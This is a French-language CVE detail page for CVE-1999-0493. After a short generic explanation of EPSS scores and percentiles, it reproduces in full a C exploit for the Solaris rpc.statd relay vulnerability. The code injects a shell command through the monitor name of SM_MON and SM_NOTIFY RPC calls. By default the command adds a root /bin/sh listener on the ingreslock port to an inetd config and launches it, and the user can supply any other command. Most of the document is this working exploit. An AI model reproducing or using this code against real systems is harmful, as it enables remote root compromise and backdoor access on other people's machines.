CVE-1999-0493 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

// source: https://www.securityfocus.com/bid/450/info The rpc service rpc.statd, shipped with all major versions of Sun's solaris, is the status monitoring service for NFS file locking. The vulnerability lies in rpc.statd's ability to relay rpc calls to other rpc services without being validated by the access controls of the other rpc services. This can give the attacker the ability to redirect malicious rpc commands through rpc.statd (which runs as root) to services they may not normally have access to. /* Developed by some guys who don't want to goto jail when WIPO passes. :) */ /* Bug fixed on Aug 16 16:28:30 GMT 1998. */ #include <stdio.h> #include <string.h> #include <netdb.h> #include <rpc/rpc.h> #include <sys/time.h> #include <sys/types.h> #include <sys/socket.h> #include <rpcsvc/sm_inter.h> void usage(char *s) { printf ("Cache name is the hostname of the remote system.\n"); printf ("For example, blue.net, might be either blue or blue.net.\n\n"); printf ("Usage: %s hostname <cachename> <command>\n", s); exit (0); } int main (int argc, char *argv[]) { CLIENT *cl; enum clnt_stat stat; struct timeval tm; struct mon monreq; struct sm_stat_res monres; struct stat_chge ntf_arg; struct hostent *hp; struct sockaddr_in target; int sd; char attack[1024]; if (argc < 3) usage(argv[0]); if (argc==4) sprintf(attack, ";%s", argv[3]); else sprintf(attack, "; echo \"ingreslock stream tcp nowait root /bin/sh sh -i\" >>/tmp/bob ; /usr/sbin/inetd -s /tmp/bob &"); memset(&monreq, 0, sizeof(monreq)); monreq.mon_id.my_id.my_name = argv[2]; monreq.mon_id.my_id.my_prog = (unsigned long) 100099; monreq.mon_id.my_id.my_vers = (unsigned long) 1; monreq.mon_id.my_id.my_proc = (unsigned long) 1; monreq.mon_id.mon_name = attack; monreq.priv[0] = '/'; memset(&ntf_arg, 0, sizeof(ntf_arg)); ntf_arg.mon_name = attack; ntf_arg.state = 1; if ((hp = gethostbyname (argv[1])) == NULL) { printf ("Couldnt resolve %s!\n", argv[1]); exit (-1); } target.sin_family = AF_INET; target.sin_addr.s_addr = *(u_long *)hp->h_addr; target.sin_port = 0; sd = RPC_ANYSOCK; tm.tv_sec = 10; tm.tv_usec = 0; if ((cl = clntudp_create(&target, SM_PROG, SM_VERS, tm, &sd)) == NULL) { clnt_pcreateerror("clnt_create"); exit (-1); } stat = clnt_call(cl, SM_MON, xdr_mon, (char *)&monreq, xdr_sm_stat_res, (char *)&monres, tm); if (stat != RPC_SUCCESS) clnt_perror(cl, "clnt_call"); else printf("stat_res = %d.\n", monres.res_stat); stat=clnt_call(cl, SM_NOTIFY, xdr_stat_chge, (char *)&ntf_arg, xdr_void, NULL, tm); if (stat != RPC_SUCCESS) clnt_perror(cl, "clnt_call"); clnt_destroy(cl); exit (0); }